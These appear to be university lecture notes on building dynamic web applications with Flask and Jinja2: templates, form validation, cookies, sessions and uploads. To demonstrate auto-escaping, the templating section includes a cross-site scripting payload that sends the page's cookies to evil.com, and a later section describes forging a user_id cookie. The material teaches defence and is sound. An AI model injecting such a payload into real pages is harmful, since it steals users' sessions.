
EE 547 - Unit 8
Fall 2025
Web server receives request:
Server extracts path /documentation.html and reads corresponding file from disk.
HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 4821
<!DOCTYPE html>
<html>
<head>
<title>API Documentation</title>
</head>
<body>
<h1>API Documentation</h1>
<p>Available endpoints:</p>
...
</body>
</html>No computation between request and response.
Server reads bytes from disk, writes bytes to network socket.

Every request for /documentation.html returns identical content.
Works well for documentation, marketing pages, company information.
Alice requests her profile:
Required response for Alice:
Bob requests his profile:
Required response for Bob:
Same URL, different content based on who requests it.
Reading profile.html from disk returns identical bytes regardless of requester.
HTTP request contains path, not identity:
Request specifies:
/profileapp.example.comMissing:
Server cannot determine whose profile to display.
All requests for /profile appear identical.
To display Alice’s profile, must query database:
To display Bob’s profile, must query database:
Static file server:
user_id to queryRequires application code to:
User requests document list:
Must query database for user’s documents:
Results vary by user:
Results vary over time:
Static HTML file contains fixed content. Cannot adapt to:

User searches for “neural networks”:
Must query database with search term:
SELECT title, author, date
FROM documents
WHERE title LIKE '%neural networks%'
OR content LIKE '%neural networks%'
ORDER BY date DESC;Different search produces different query:
SELECT title, author, date
FROM documents
WHERE title LIKE '%database optimization%'
OR content LIKE '%database optimization%'
ORDER BY date DESC;Search terms form infinite set. Cannot pre-generate HTML for every possible query.
User applies filters:
Query adapts to parameters:
SELECT title, upload_date, size
FROM documents
WHERE user_id = 42
AND category = 'reports'
AND upload_date >= '2024-10-01'
AND upload_date < '2024-11-01'
ORDER BY upload_date DESC;Adding sort parameter:
Changes ORDER BY clause:
Cannot pre-generate files for parameter combinations.

User fills upload form:
<form action="/upload" method="POST">
<input name="title" value="Quarterly Report">
<input name="file" type="file">
<button>Upload</button>
</form>Browser sends POST request with file:
POST /upload HTTP/1.1
Content-Type: multipart/form-data
Content-Length: 2457821
[title: "Quarterly Report"]
[file: 2.3 MB PDF data]Server must process submission.
Required operations:
Parse request body Extract title string and file bytes from multipart data
Validate inputs Title provided? File size under limit? Type allowed?
Store file Write 2.3 MB to /storage/documents/
Save metadata
Generate response Success confirmation or error message
Static file server performs none of these operations.

User logs in:
Server verifies credentials against database:
Credentials match. Server responds:
TCP connection closes.
User requests profile:
Request contains no authentication information.
Server cannot determine if this user authenticated or which user this is.


Template contains HTML structure with placeholders:
Application queries database for user data:
Template engine combines template with data:
Template + Data → HTML
Result for user_id 42:
Result for user_id 17:
Single template generates personalized HTML for every user.
Login creates session:
User authenticates → Server generates session ID → Stores user_id=42 with session ID.
Server sends session ID to browser:
Browser stores session ID.
Subsequent requests include session ID:
Server reads session ID from cookie, looks up user_id=42.
Now knows which user is requesting.

Browser automatically includes cookie with every request. Server retrieves user context from session.
Server needs to combine user-specific data with HTML structure. Consider displaying Alice’s document list:
Data from database:
Server must generate this HTML for every request.
Build HTML by concatenating strings:
user = "Alice"
documents = [
{"title": "Q4_Report.pdf", "size": 2048576},
{"title": "Budget.xlsx", "size": 1024000},
{"title": "Notes.txt", "size": 4096}
]
html = "<h1>" + user + "'s Documents</h1>\n"
html += "<ul>\n"
for doc in documents:
size_mb = doc["size"] / 1048576
html += " <li>" + doc["title"] + " - " + f"{size_mb:.1f}" + " MB</li>\n"
html += "</ul>"
print(html)<h1>Alice's Documents</h1>
<ul>
<li>Q4_Report.pdf - 2.0 MB</li>
<li>Budget.xlsx - 1.0 MB</li>
<li>Notes.txt - 0.0 MB</li>
</ul>
String concatenation has fundamental problems.
1. HTML structure obscured:
Code mixes HTML tags with Python logic. Page structure obscured by concatenation operations. Designers cannot edit without Python knowledge.
2. Quote escaping fragile:
Syntax errors occur frequently. Nested quotes require manual escaping.
3. No automatic safety:
User submits title: <script>alert('XSS')</script>
Browser executes malicious JavaScript. Must manually escape every value.
4. Repetitive and error-prone:
Same HTML patterns repeated across many routes. Code duplication. Changes require editing multiple locations.
Separation of HTML structure from data insertion required.
Template: HTML file with placeholders for data.
Template Engine: Reads template, substitutes data values, outputs HTML.
from jinja2 import Template
template_text = """
<h1>{{ username }}'s Documents</h1>
<ul>
{% for doc in documents %}
<li>{{ doc.title }} - {{ (doc.size / 1048576) | round(1) }} MB</li>
{% endfor %}
</ul>
"""
template = Template(template_text)
data = {
"username": "Alice",
"documents": [
{"title": "Q4_Report.pdf", "size": 2048576},
{"title": "Budget.xlsx", "size": 1024000},
{"title": "Notes.txt", "size": 4096}
]
}
html = template.render(data)
print(html)
<h1>Alice's Documents</h1>
<ul>
<li>Q4_Report.pdf - 2.0 MB</li>
<li>Budget.xlsx - 1.0 MB</li>
<li>Notes.txt - 0.0 MB</li>
</ul>
Same template with different data generates different HTML.
Template engine: Software that reads template files, substitutes data, outputs final HTML.
Multiple template engines exist with different syntax and features:
Server-side engines:
Generate HTML on server before sending to browser.
Client-side engines:
Generate HTML in browser after receiving data.
Jinja2 is Flask’s default template engine. Mature implementation with extensive documentation and widespread adoption in Python web frameworks.
Jinja2 uses three syntax constructs to control template behavior:
Variable substitution:
{{ variable_name }}
Outputs value at this position. HTML characters automatically escaped.
Statements:
{% statement %}
Control flow: loops, conditionals, assignments.
Comments:
{# comment text #}
Not included in output. Documents template logic.
Filters:
{{ value | filter }}
Transforms value before output.
These three elements handle all template operations.
Template receives data dictionary. Variables reference dictionary keys:
template = Template("<h1>{{ page_title }}</h1><p>{{ description }}</p>")
html = template.render({
"page_title": "Financial Analysis",
"description": "Q4 revenue and expenses"
})
print(html)<h1>Financial Analysis</h1><p>Q4 revenue and expenses</p>
Access nested data with dot notation:
Templates automatically escape HTML special characters to prevent code injection:
template = Template("<div>{{ content }}</div>")
# User submits malicious input
malicious_input = "<script>fetch('https://evil.com?cookie='+document.cookie)</script>"
html = template.render({"content": malicious_input})
print(html)<div><script>fetch('https://evil.com?cookie='+document.cookie)</script></div>
Characters converted: < → <, > → >, & → &, " → "
Browser displays text literally instead of executing JavaScript.
Generate repeated HTML elements from lists:
template_text = """
<table>
<tr><th>Title</th><th>Size</th></tr>
{% for doc in documents %}
<tr>
<td>{{ doc.title }}</td>
<td>{{ doc.size }} bytes</td>
</tr>
{% endfor %}
</table>
"""
template = Template(template_text)
html = template.render({
"documents": [
{"title": "Report.pdf", "size": 2048},
{"title": "Data.csv", "size": 4096},
{"title": "Notes.txt", "size": 512}
]
})
print(html)
<table>
<tr><th>Title</th><th>Size</th></tr>
<tr>
<td>Report.pdf</td>
<td>2048 bytes</td>
</tr>
<tr>
<td>Data.csv</td>
<td>4096 bytes</td>
</tr>
<tr>
<td>Notes.txt</td>
<td>512 bytes</td>
</tr>
</table>
Loop body repeated once per list item. Template generates correct number of rows regardless of list length.
Show or hide content based on data values:
template_text = """
<div>
<h2>{{ document.title }}</h2>
<p>{{ document.size }} bytes</p>
{% if user_id == document.owner_id %}
<button>Edit</button>
<button>Delete</button>
{% endif %}
</div>
"""
template = Template(template_text)
# Owner viewing document
html = template.render({
"document": {"title": "Report.pdf", "size": 2048, "owner_id": 42},
"user_id": 42
})
print("Owner view:")
print(html)
# Different user viewing document
html = template.render({
"document": {"title": "Report.pdf", "size": 2048, "owner_id": 42},
"user_id": 99
})
print("\nOther user view:")
print(html)Owner view:
<div>
<h2>Report.pdf</h2>
<p>2048 bytes</p>
<button>Edit</button>
<button>Delete</button>
</div>
Other user view:
<div>
<h2>Report.pdf</h2>
<p>2048 bytes</p>
</div>
Handle empty lists with conditional:
template_text = """
{% if documents %}
<ul>
{% for doc in documents %}
<li>{{ doc.title }}</li>
{% endfor %}
</ul>
{% else %}
<p>No documents uploaded yet.</p>
{% endif %}
"""
template = Template(template_text)
# With documents
html = template.render({"documents": [{"title": "Report.pdf"}, {"title": "Data.csv"}]})
print("With documents:")
print(html)
# Empty list
html = template.render({"documents": []})
print("\nEmpty list:")
print(html)With documents:
<ul>
<li>Report.pdf</li>
<li>Data.csv</li>
</ul>
Empty list:
<p>No documents uploaded yet.</p>
Improves user experience by explaining empty state instead of showing blank page.
Apply transformations during output:
template_text = """
<p>Price: ${{ amount | round(2) }}</p>
<p>Name: {{ title | upper }}</p>
<p>Created: {{ timestamp | default("Unknown") }}</p>
<p>Count: {{ items | length }} items</p>
"""
template = Template(template_text)
html = template.render({
"amount": 19.9876543,
"title": "quarterly report",
"timestamp": None,
"items": ["a", "b", "c"]
})
print(html)
<p>Price: $19.99</p>
<p>Name: QUARTERLY REPORT</p>
<p>Created: None</p>
<p>Count: 3 items</p>
Filters simplify common formatting without custom Python functions.
Real document listing page with multiple features:
template_text = """
<div class="document-list">
<h1>{{ username | upper }}'s Documents</h1>
<p>Total: {{ documents | length }} documents, {{ total_size }} MB used</p>
{% if documents %}
<table>
<tr>
<th>Title</th>
<th>Size</th>
<th>Date</th>
<th>Actions</th>
</tr>
{% for doc in documents %}
<tr>
<td>{{ doc.title }}</td>
<td>{{ (doc.size / 1048576) | round(2) }} MB</td>
<td>{{ doc.date }}</td>
<td>
<a href="/view/{{ doc.id }}">View</a>
{% if doc.owner == user_id %}
| <a href="/delete/{{ doc.id }}">Delete</a>
{% endif %}
</td>
</tr>
{% endfor %}
</table>
{% else %}
<p>No documents yet. <a href="/upload">Upload your first document</a></p>
{% endif %}
</div>
"""
template = Template(template_text)data = {
"username": "alice",
"user_id": 42,
"total_size": 15.3,
"documents": [
{"id": 1, "title": "Q4_Report.pdf", "size": 10485760,
"date": "2024-10-15", "owner": 42},
{"id": 2, "title": "Budget_2024.xlsx", "size": 5242880,
"date": "2024-10-12", "owner": 42},
{"id": 3, "title": "Meeting_Notes.txt", "size": 4096,
"date": "2024-10-10", "owner": 99}
]
}
html = template.render(data)
print(html)
<div class="document-list">
<h1>ALICE's Documents</h1>
<p>Total: 3 documents, 15.3 MB used</p>
<table>
<tr>
<th>Title</th>
<th>Size</th>
<th>Date</th>
<th>Actions</th>
</tr>
<tr>
<td>Q4_Report.pdf</td>
<td>10.0 MB</td>
<td>2024-10-15</td>
<td>
<a href="/view/1">View</a>
| <a href="/delete/1">Delete</a>
</td>
</tr>
<tr>
<td>Budget_2024.xlsx</td>
<td>5.0 MB</td>
<td>2024-10-12</td>
<td>
<a href="/view/2">View</a>
| <a href="/delete/2">Delete</a>
</td>
</tr>
<tr>
<td>Meeting_Notes.txt</td>
<td>0.0 MB</td>
<td>2024-10-10</td>
<td>
<a href="/view/3">View</a>
</td>
</tr>
</table>
</div>
One template combines: loops, conditionals, filters, nested data access, authorization logic.
Flask provides render_template() function that reads template files from templates/ directory:
File: app.py
from flask import Flask, render_template, session
app = Flask(__name__)
@app.route('/documents')
def view_documents():
user_id = session.get('user_id')
# Query user's documents from database
documents = db.execute(
"SELECT id, title, size, upload_date, owner_id "
"FROM documents WHERE owner_id = ?",
user_id
).fetchall()
total_size = sum(doc['size'] for doc in documents) / 1048576
return render_template('documents.html',
username=session.get('username'),
documents=documents,
total_size=total_size,
user_id=user_id)File: templates/documents.html
<!DOCTYPE html>
<html>
<head>
<title>{{ username }}'s Documents</title>
<link rel="stylesheet" href="/static/styles.css">
</head>
<body>
<div class="container">
<h1>{{ username | upper }}'s Documents</h1>
<p>Total: {{ documents | length }} documents,
{{ total_size | round(1) }} MB used</p>
{% if documents %}
<table>
{% for doc in documents %}
<tr>
<td>{{ doc.title }}</td>
<td>{{ (doc.size / 1048576) | round(2) }} MB</td>
<td>{{ doc.upload_date }}</td>
<td>
<a href="/view/{{ doc.id }}">View</a>
{% if doc.owner_id == user_id %}
| <a href="/delete/{{ doc.id }}">Delete</a>
{% endif %}
</td>
</tr>
{% endfor %}
</table>
{% else %}
<p>No documents. <a href="/upload">Upload first document</a></p>
{% endif %}
</div>
</body>
</html>
Database query dominates processing time. Template rendering adds 30ms overhead for HTML generation.
Template rendering cost depends on complexity:
Fast operations:
{ value }{% if %} ~ negligibleround, upper ~ negligibleSlower operations:
Optimization strategies:
Compute in Python, not template:
Limit loop iterations: Paginate large lists. Show 50 items per page, not 10,000.
Cache rendered templates: For pages with same data shown to many users (product catalog).
Single template generates different output for each user:
# Reuse same template for different users
template_text = """
<h1>{{ username }}'s Dashboard</h1>
<p>{{ doc_count }} documents, {{ storage_mb }} MB used</p>
"""
template = Template(template_text)
# Alice's data
alice_html = template.render({
"username": "Alice",
"doc_count": 15,
"storage_mb": 23.4
})
print("Alice:")
print(alice_html)
# Bob's data
bob_html = template.render({
"username": "Bob",
"doc_count": 3,
"storage_mb": 1.2
})
print("\nBob:")
print(bob_html)Alice:
<h1>Alice's Dashboard</h1>
<p>15 documents, 23.4 MB used</p>
Bob:
<h1>Bob's Dashboard</h1>
<p>3 documents, 1.2 MB used</p>
One template file serves all users. Database query provides user-specific data. Template generates appropriate HTML.
Static HTML files cannot represent every user and every possible page state.
Template solution:
Document list example:
alice_documents.html, bob_documents.html, … for every user (unmanageable)documents.html template, query database for current user’s documentsTemplates enable dynamic content generation from persistent data storage.
Every page shares common HTML structure: navigation, header, footer, CSS links. Duplicating this across all templates creates maintenance burden.
Each template repeats boilerplate:
<!DOCTYPE html>
<html>
<head>
<title>Documents</title>
<link rel="stylesheet" href="/static/styles.css">
</head>
<body>
<nav><!-- navigation links --></nav>
<!-- Page-specific content here -->
<footer><!-- footer content --></footer>
</body>
</html>Changing navigation requires editing every template file.
from jinja2 import Environment, DictLoader
# Base template defines structure with blocks
templates = {
'base.html': '''
<!DOCTYPE html>
<html>
<head><title>{% block title %}Document Manager{% endblock %}</title></head>
<body>
<nav><a href="/">Home</a> | <a href="/docs">Documents</a></nav>
<div class="content">
{% block content %}{% endblock %}
</div>
<footer>© 2024 Document Manager</footer>
</body>
</html>
''',
'documents.html': '''
{% extends "base.html" %}
{% block title %}Your Documents{% endblock %}
{% block content %}
<h1>{{ username }}'s Documents</h1>
{% for doc in documents %}
<p>{{ doc.title }} - {{ doc.size }} bytes</p>
{% endfor %}
{% endblock %}
'''
}
env = Environment(loader=DictLoader(templates))
template = env.get_template('documents.html')
html = template.render(username="Alice", documents=[
{"title": "Report.pdf", "size": 2048},
{"title": "Data.csv", "size": 4096}
])
print(html)
<!DOCTYPE html>
<html>
<head><title>Your Documents</title></head>
<body>
<nav><a href="/">Home</a> | <a href="/docs">Documents</a></nav>
<div class="content">
<h1>Alice's Documents</h1>
<p>Report.pdf - 2048 bytes</p>
<p>Data.csv - 4096 bytes</p>
</div>
<footer>© 2024 Document Manager</footer>
</body>
</html>
HTML components repeat across different pages: document cards, alert messages, form fields. Include mechanism extracts these into reusable partials.
templates = {
'_document_card.html': '''
<div class="card">
<h3>{{ doc.title }}</h3>
<p>{{ (doc.size / 1024) | round(1) }} KB</p>
<a href="/view/{{ doc.id }}">View</a>
</div>
''',
'list.html': '''
<h1>Document List</h1>
{% for doc in documents %}
{% include "_document_card.html" %}
{% endfor %}
'''
}
env = Environment(loader=DictLoader(templates))
template = env.get_template('list.html')
html = template.render(documents=[
{"id": 1, "title": "Report.pdf", "size": 2048},
{"id": 2, "title": "Data.csv", "size": 4096},
{"id": 3, "title": "Notes.txt", "size": 512}
])
print(html)
<h1>Document List</h1>
<div class="card">
<h3>Report.pdf</h3>
<p>2.0 KB</p>
<a href="/view/1">View</a>
</div>
<div class="card">
<h3>Data.csv</h3>
<p>4.0 KB</p>
<a href="/view/2">View</a>
</div>
<div class="card">
<h3>Notes.txt</h3>
<p>0.5 KB</p>
<a href="/view/3">View</a>
</div>
Partial _document_card.html reused for each document. Document display logic centralized.
Real applications combine both patterns:
templates/
base.html # Page structure (nav, footer)
_document_card.html # Reusable component
documents.html # Extends base, includes card
search.html # Extends base, includes card
upload.html # Extends base
documents.html:
{% extends "base.html" %}
{% block content %}
<h1>Documents</h1>
{% for doc in documents %}
{% include "_document_card.html" %}
{% endfor %}
{% endblock %}search.html:
{% extends "base.html" %}
{% block content %}
<h1>Search Results</h1>
{% for doc in results %}
{% include "_document_card.html" %}
{% endfor %}
{% endblock %}Both pages share base layout and document display component.
Routes use session to identify current user, retrieve their data, pass to template.
@app.route('/documents')
def view_documents():
user_id = session.get('user_id')
if not user_id:
return redirect('/login')
# Query documents for this user
docs = db.execute(
"SELECT * FROM documents WHERE owner_id = ?", user_id
).fetchall()
return render_template('documents.html',
documents=docs,
username=session.get('username'))Template receives user-specific data:
<h1>{{ username }}'s Documents</h1>
{% for doc in documents %}
<div>{{ doc.title }}</div>
{% endfor %}Same template generates different HTML for each user. Route reads session to determine current user, fetches their data, template renders personalized page.
Browser sends form data in HTTP request. Server must extract, validate, and process this data.
HTML form:
Rendered form:
User fills form and clicks submit. Browser constructs HTTP request:
POST /create HTTP/1.1
Host: app.example.com
Content-Type: application/x-www-form-urlencoded
title=Q4+Report&description=Financial+analysisForm field name attributes become data keys. Values URL-encoded in request body.
Form element attributes:
action: URL where form data is sentmethod: HTTP method (GET or POST)enctype: Data encoding (default: application/x-www-form-urlencoded)Common input types:
Form data encoding:
When submitted, browser sends:
title=Report
&description=Analysis
&tags=urgent
&tags=draft
&priority=high
&category=report
Field encoding rules:
name=value pairname=value pairs with same namename=value for selected optionname=value for selected option+ or %20& → %26)Field name attribute becomes key. Field value attribute (or user input) becomes value.
from flask import Flask, request
app = Flask(__name__)
@app.route('/create', methods=['POST'])
def create_document():
# Single-value fields
title = request.form.get('title', 'Untitled')
priority = request.form.get('priority', 'low')
# Multiple-value fields (checkboxes)
tags = request.form.getlist('tags')
result = f"Received:\n Title: {title}\n Priority: {priority}\n Tags: {tags}"
return result
# Simulate form submission
with app.test_client() as client:
response = client.post('/create', data={
'title': 'Q4 Report',
'priority': 'high',
'tags': ['urgent', 'draft']
})
print(response.data.decode('utf-8'))Received:
Title: Q4 Report
Priority: high
Tags: ['urgent', 'draft']
request.form.get('field') returns single value. request.form.getlist('field') returns list of all values for fields with duplicate names (checkboxes).
HTTP provides two methods for form submission with different characteristics:
GET method:
<form action="/search" method="GET">
<input name="q" value="python">
<button>Search</button>
</form>Request sends data in URL:
Use GET when:
Examples:
@app.route('/search')
def search():
query = request.args.get('q')
results = search_documents(query)
return render_template('results.html',
results=results)request.args accesses URL query parameters.
Use POST when:
Examples:
@app.route('/create', methods=['POST'])
def create():
title = request.form['title']
save_document(title)
return redirect('/documents')request.form accesses POST body data.
GET operations safe to retry. POST operations change server state.
Client validation bypassed:
HTML form with validation:
<form action="/create" method="POST">
<input name="title"
required
maxlength="100">
<button>Submit</button>
</form>Browser enforces constraints.
Attacker sends direct HTTP request:
Server receives 10,000 character title. HTML validation bypassed.
Server validation enforces security:
@app.route('/create', methods=['POST'])
def create():
title = request.form.get('title', '').strip()
if not title:
return "Title required", 400
if len(title) > 100:
return "Title too long", 400
if not title.replace(' ', '').isalnum():
return "Invalid characters", 400
save_document(title)
return redirect('/documents')Every input validated. Malicious data rejected with 400 status.
Always validate every input on server. Client validation improves user experience. Server validation provides security.
Validation beyond format checks:
Each check queries database or checks application state. Returns specific error with appropriate HTTP status (400 for validation, 403 for authorization).
@app.route('/create', methods=['POST'])
def create():
title = request.form.get('title', '').strip()
user_id = session.get('user_id')
# Format validation
if not title or len(title) > 100:
return "Invalid title", 400
# Check permissions
if not user_can_create(user_id):
return "Quota exceeded", 403
# Check uniqueness
if document_exists(user_id, title):
return "Title already exists", 400
# Check state/constraints
if user_document_count(user_id) >= 100:
return "Maximum documents reached", 400
save_document(user_id, title)
return redirect('/documents')Validation categories:
1. Authorization checks:
2. Uniqueness constraints:
3. State validation:
4. Referential integrity:
Direct response (problematic):
@app.route('/create', methods=['POST'])
def create():
title = request.form['title']
if not title:
return render_template('form.html',
error="Title required")
doc_id = save_document(title)
return render_template('success.html',
doc_id=doc_id)Problem: Browser refresh resubmits form. User sees “Confirm Form Resubmission” dialog. Creates duplicate documents.
Post/Redirect/Get (best practice):
@app.route('/create', methods=['POST'])
def create():
title = request.form['title']
if not title:
return render_template('form.html',
error="Title required")
doc_id = save_document(title)
return redirect(url_for('view', id=doc_id))
@app.route('/document/<int:id>')
def view(id):
doc = get_document(id)
return render_template('view.html', doc=doc)POST saves data, redirects to GET. Browser refresh only repeats GET request, not POST. No duplicate submissions.
Route handles GET and POST:
@app.route('/create', methods=['GET', 'POST'])
def create():
if request.method == 'POST':
title = request.form.get('title', '')
errors = []
if not title:
errors.append("Title required")
if len(title) > 100:
errors.append("Title too long")
if not errors:
save_document(title)
return redirect(url_for('documents'))
# Validation failed - re-render
return render_template('form.html',
errors=errors,
title=title)
# GET request - empty form
return render_template('form.html')Rendered output with validation errors:
Title required
Description too long
Form preserves user input. User corrects errors without re-typing valid fields.
Server processes form submission successfully. User navigates to documents page. Server cannot determine which user made request.
Login succeeds:
Server validates credentials, redirects to documents.
Immediately after, request documents:
Server receives request. No indication which user. No connection to previous login request.
Server must retrieve user-specific documents but cannot identify requester.
Every HTTP request independent. Previous authentication irrelevant.
Server includes Set-Cookie header in HTTP response. Browser stores value. Browser automatically includes Cookie header in subsequent requests to same domain.
Server sets cookie in response:
Browser extracts Set-Cookie: user_id=42 from response headers. Stores user_id=42 in cookie storage associated with app.example.com domain.
Browser includes cookie in requests:
Browser automatically adds Cookie header with stored value. Server extracts Cookie: user_id=42, identifies user.
No JavaScript required. Browser manages cookie storage and transmission automatically.
Server sets cookie:
from flask import make_response
@app.route('/login', methods=['POST'])
def login():
# Validate credentials...
response = make_response("Logged in")
response.set_cookie('user_id', '42')
return responseset_cookie() adds Set-Cookie header to response. Browser receives header, stores cookie.
Resulting HTTP response:
Server reads cookie:
from flask import request
@app.route('/documents')
def documents():
user_id = request.cookies.get('user_id')
if not user_id:
return "Not authenticated", 401
return f"Documents for user {user_id}"request.cookies reads Cookie header from request. Browser automatically includes cookie.
Incoming HTTP request:
Flask abstracts HTTP headers. set_cookie() writes Set-Cookie. request.cookies reads Cookie.
When does browser store cookie?
Browser stores when Set-Cookie header received. Storage occurs after response processed, before next request.
How long does cookie persist?
Without Max-Age or Expires: Session cookie, deleted when browser closed.
With Max-Age=604800: Persistent cookie, survives browser restart, expires after 604,800 seconds (7 days).
Which requests include cookie?
Domain scope: - Cookie set by app.example.com sent to app.example.com - Not sent to other.com - Not sent to subdomain.app.example.com (unless Domain attribute set)
Path scope:
/documents and /documents/view/search or /uploadDefault: Path=/ (all paths on domain)
Browser decides which requests include cookie based on domain and path matching.
Who can read cookie value?
1. Server (always): Receives Cookie header with every request. Server-side code reads via request.cookies.
2. Browser JavaScript (by default):
Client-side code can read and modify cookie. User opens DevTools, views/edits cookies.
3. Network observers (if HTTP): Cookie transmitted in plaintext over HTTP. Anyone monitoring network sees cookie value.
Security implications:
Storing user_id=42 in cookie means: - User sees their own user ID - JavaScript on page reads user ID - User can modify: change user_id=42 to user_id=99 - Network sniffing reveals user ID
Modified cookie attack:
User changed cookie from 42 to 99. Server trusts cookie, returns user 99’s documents. Alice accesses Bob’s data.
Cookie contents visible and modifiable by client. Server cannot trust cookie data directly.
Store only unpredictable session ID in cookie. Store actual user data on server, indexed by session ID.
Login creates session:
import secrets
@app.route('/login', methods=['POST'])
def login():
username = request.form['username']
# Validate credentials...
# Generate random session ID
session_id = secrets.token_hex(16)
# Result: 'a7f3c9d1b2e4...' (32 chars)
# Store on server
sessions[session_id] = {
'user_id': 42,
'username': 'alice'
}
# Send ID to client
response = make_response("Logged in")
response.set_cookie('session_id', session_id)
return responseProtected route uses session:
@app.route('/documents')
def documents():
# Read session ID from cookie
session_id = request.cookies.get('session_id')
# Look up server-side data
session_data = sessions.get(session_id)
if not session_data:
return "Not authenticated", 401
user_id = session_data['user_id']
docs = get_user_documents(user_id)
return render_template('docs.html',
documents=docs)Cookie contains: a7f3c9d1b2e4... Server contains: {user_id: 42, username: 'alice'}
User modifies session ID:
Original cookie: session_id=a7f3c9d1b2e4
User changes to: session_id=modified_value
session_data = sessions.get('modified_value')
# Returns None (not in server storage)
if not session_data:
return "Not authenticated", 401Modified ID not in server’s session storage. Lookup fails, authentication rejected.
User guesses session ID:
Session ID is 128-bit random value:
2^128 possible values = 3.4 × 10^38 possible IDs.
Even trying 1 billion IDs per second: - Years required: 10^22 years - Age of universe: 1.4 × 10^10 years
Computationally infeasible to guess valid session ID.
Server invalidates immediately:
Even with original valid cookie, lookup fails. Logout takes effect instantly.
Sessions for authentication and sensitive data. Cookies for user preferences.
Use cookies for:
Example:
Cookie visible to user. No security risk if modified. Client can read values with JavaScript if needed.
from flask import Flask, session, request, redirect
import secrets
app = Flask(__name__)
app.secret_key = secrets.token_hex(16) # Required for session signing
@app.route('/login', methods=['POST'])
def login():
username = request.form.get('username')
# Validate credentials (simplified)
# Store in session (Flask manages cookie/storage)
session['user_id'] = 42
session['username'] = username
return redirect('/documents')
@app.route('/documents')
def documents():
# Retrieve from session
user_id = session.get('user_id')
if not user_id:
return redirect('/login')
return f"Documents for {session['username']}"
@app.route('/logout')
def logout():
session.clear()
return redirect('/login')
# Simulate
with app.test_client() as client:
client.post('/login', data={'username': 'alice'})
r = client.get('/documents')
print(r.data.decode('utf-8'))
client.get('/logout')
r = client.get('/documents')
print(f"After logout: {r.status_code}") # RedirectsDocuments for alice
After logout: 302
Flask default encodes session data in cookie itself, cryptographically signed to prevent modification.
What cookie contains:
session=eyJ1c2VyX2lkIjo0Mn0.ZkF...
Three parts separated by .: 1. Base64-encoded data: {"user_id": 42} 2. Timestamp 3. HMAC signature
User can decode data:
Data visible but cannot modify without invalidating signature.
Tradeoffs:
Advantages: - No server storage required - Works with multiple application servers (stateless) - No database/Redis dependency
Disadvantages: - 4KB cookie size limit - Data visible to user (base64 ≠ encryption) - Cannot invalidate specific session (no server record) - Session persists until cookie expires (logout clears cookie but data remains valid)
Suitable for: Small non-sensitive data (preferences, language). Not suitable for authorization data.
Cookie contains only session ID. Session data stored in Redis key-value store.
Store session in Redis:
import redis
import json
import secrets
redis_client = redis.Redis(
host='localhost',
port=6379
)
@app.route('/login', methods=['POST'])
def login():
username = request.form['username']
user_id = 42 # From database
# Generate session ID
session_id = secrets.token_hex(16)
# Store in Redis with 1 hour expiration
redis_client.setex(
f'session:{session_id}',
3600, # TTL in seconds
json.dumps({
'user_id': user_id,
'username': username
})
)
response = make_response(redirect('/documents'))
response.set_cookie('session_id', session_id)
return responseRetrieve session from Redis:
@app.route('/documents')
def documents():
session_id = request.cookies.get('session_id')
# Look up in Redis
data = redis_client.get(f'session:{session_id}')
if not data:
return redirect('/login')
session_data = json.loads(data)
user_id = session_data['user_id']
docs = get_user_documents(user_id)
return render_template('docs.html',
documents=docs)Performance: 1-2ms network round-trip to Redis. In-memory storage, very fast. Automatic expiration via TTL.
Immediate invalidation:
@app.route('/logout')
def logout():
session_id = request.cookies.get('session_id')
# Delete from Redis
redis_client.delete(f'session:{session_id}')
response = make_response(redirect('/login'))
response.set_cookie('session_id', '', expires=0)
return responseEven if user keeps cookie, server lookup fails. Session invalidated server-side.
Revoke all user sessions:
Shared across servers:
Multiple application servers read from same Redis instance. User request can go to any server, session accessible.
[Server 1] --\
[Redis] -- session:a7f3c9d1 → {user_id: 42}
[Server 2] --/
No sticky sessions required. Load balancer distributes freely.
Unlimited session size:
Redis value size limit: 512MB. Practical session data: <10KB. No 4KB cookie constraint.
Automatic expiration:
Redis TTL handles cleanup. No manual deletion required. Memory freed automatically.
Session cookies require two security attributes to prevent theft.
Secure: HTTPS only
Cookie transmitted only over HTTPS, never over HTTP.
Browser excludes cookie from HTTP request.
Browser includes cookie in HTTPS request.
Prevents: Network interception. Coffee shop WiFi cannot capture session ID from unencrypted traffic.
HttpOnly: No JavaScript access
Browser blocks JavaScript from reading cookie value.
JavaScript cannot access HttpOnly cookies. Server receives cookie normally in HTTP requests.
Prevents: XSS attacks stealing session cookie. Malicious script injected into page cannot extract and transmit session ID.
Login creates session:
@app.route('/login', methods=['POST'])
def login():
username = request.form['username']
password = request.form['password']
# Validate credentials
user = users.get(username)
if not user or user['password'] != password:
return 'Invalid', 401
# Create session
session['user_id'] = user['user_id']
session['username'] = username
return redirect('/documents')Successful authentication stores user_id in session. Flask sets cookie with session ID.
Protected routes check session:
@app.route('/documents')
def documents():
# Check session
if 'user_id' not in session:
return redirect('/login')
# Use session data
docs = get_user_documents(session['user_id'])
return render_template('docs.html',
username=session['username'],
documents=docs)Every protected route verifies session exists. Missing session redirects to login.
Logout destroys session:
@app.route('/logout')
def logout():
session.clear() # Remove all session data
return redirect('/login')Session cleared server-side. Cookie invalidated. Next request fails authentication check.
Standard URL encoding transmits key-value pairs as text. Files require binary data transmission.
Form attempts file upload:
Without multipart encoding:
POST /upload HTTP/1.1
Content-Type: application/x-www-form-urlencoded
document=report.pdf&title=Q4+ReportServer receives:
document field contains string "report.pdf", not file contents. Text encoding cannot represent 524KB of binary PDF data. File remains on client machine.
URL encoding designed for text - escapes =, &, spaces. No mechanism for transmitting binary streams.
Special content type allows single HTTP request to contain both text fields and binary file data.
<form action="/upload" method="POST" enctype="multipart/form-data">
<input type="file" name="document">
<input type="text" name="title" value="Q4 Report">
<button>Upload</button>
</form>
Boundary markers separate parts: Server scans for boundary string to locate each section.
Headers describe content: Each part includes Content-Disposition (field name, filename) and Content-Type (MIME type).
Binary preserved: File bytes transmitted unchanged - no encoding applied to binary data.
Browser generates boundaries: Random string guaranteed not to appear in data enables unambiguous parsing.
User selects file, clicks submit. Browser handles file reading, boundary generation, request assembly automatically.

User interaction: Click file input, select file from filesystem, click submit button.
Browser automation: Reads selected file into memory (524KB), generates random boundary string, constructs HTTP request with headers and body.
Network transmission: Entire request (537KB including headers and boundaries) sent to server.
Server receives: Flask parses multipart structure, provides file object with metadata (filename, content_type) and binary data (read() method).
Server receives multipart request. Flask extracts boundaries, separates parts, provides file object with metadata and binary data accessible through methods.
@app.route('/upload', methods=['POST'])
def upload():
# Text field (standard form data)
title = request.form['title']
# Returns: "Q4 Report"
# File object (from multipart data)
file = request.files['document']
# File metadata (from HTTP headers)
filename = file.filename
